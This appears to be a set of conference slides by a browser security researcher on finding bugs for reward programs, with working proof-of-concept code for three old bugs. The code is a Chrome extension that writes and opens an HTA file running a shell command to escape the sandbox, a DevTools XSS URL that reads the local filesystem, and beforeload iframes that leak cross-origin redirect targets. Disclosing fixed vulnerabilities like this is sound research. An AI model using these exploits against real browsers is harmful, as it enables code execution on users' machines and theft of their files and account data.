Specialist @ 2NS
Hacking browsers since ~2011
A whole bunch of VRPs
Complex software + Huge attack surface + Open Source + Excellently managed VRPs + Better-than-average rewards + Real impact
= Fierce competition, but enough bugs for everyone
Knowing web technologies and JavaScript helps
As does knowing extension and plugin APIs
Also browser DevTools, W3C standards, PDF, Flash, NaCl, WebAssembly, ...
https://crbug.com/
https://bugzilla.mozilla.org/
https://www.chromestatus.com/features
https://mdn.io/
What's already been looked at? What hasn't?
What's already been fixed? Are the fixes good enough?
Has a bug been reopened repeatedly?
Can you repro an old bug in some other context?
¯\_(ツ)_/¯
Extension code can execute downloaded files
Race condition in anti-malware hook
⇒ No MOTW ⇒ No OS or browser warnings
⇒ Full RCE + SBX in Chrome ≤ 63
chrome.browserAction.onClicked.addListener(tab => {
var downloadId;
chrome.downloads.download({
url: "data:,",
filename: "shell.hta",
conflictAction: "overwrite"
}, id => downloadId = id);
chrome.downloads.download({
url: "data:,<script>(new ActiveXObject('WScript.shell')).run('calc')</script><!--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->",
filename: "shell.hta",
conflictAction: "overwrite"
});
setTimeout(_ => chrome.downloads.open(downloadId), 500);
});
XSS vulnerability in DevTools
Privileged APIs can be overwritten
⇒ Remote filesystem access in Chrome ≤ 63
chrome-devtools://devtools/remote/serve_rev/@199588/devtools.html?remoteFrontendUrl=javascript:w=open("devtools.html");w.onload=_=>w.eval(`DevToolsAPI.streamWrite=(e,o)=>document.write(o);DevToolsAPI.sendMessageToEmbedder("loadNetworkResource",["file:///C:/","",0]);`)
w = open("devtools.html");
w.onload = _ => w.eval(`
DevToolsAPI.streamWrite = (e,o) => document.write(o);
DevToolsAPI.sendMessageToEmbedder(
"loadNetworkResource", [ "file:///C:/", "", 0]);
`)
WebKit 'beforeload'
event leaks data across origins
Malicious page can read the target of any redirection in a frame
⇒ Authentication tokens, usernames exposed in Chrome ≤ 13
⇒ Also Safari < 5.1.1 (OS X, Windows), iOS < 5, ...
<iframe
src="http://ssl.gstatic.com/chrome/webstore/html/bounce.html#continue=https%3A%2F%2Fchrome.google.com%2Fwebstore%2F"
onbeforeload="alert('Now opening ' + event.url)">
</iframe>
<iframe
src="https://www.facebook.com/me"
onbeforeload="alert('Now opening ' + event.url)">
</iframe>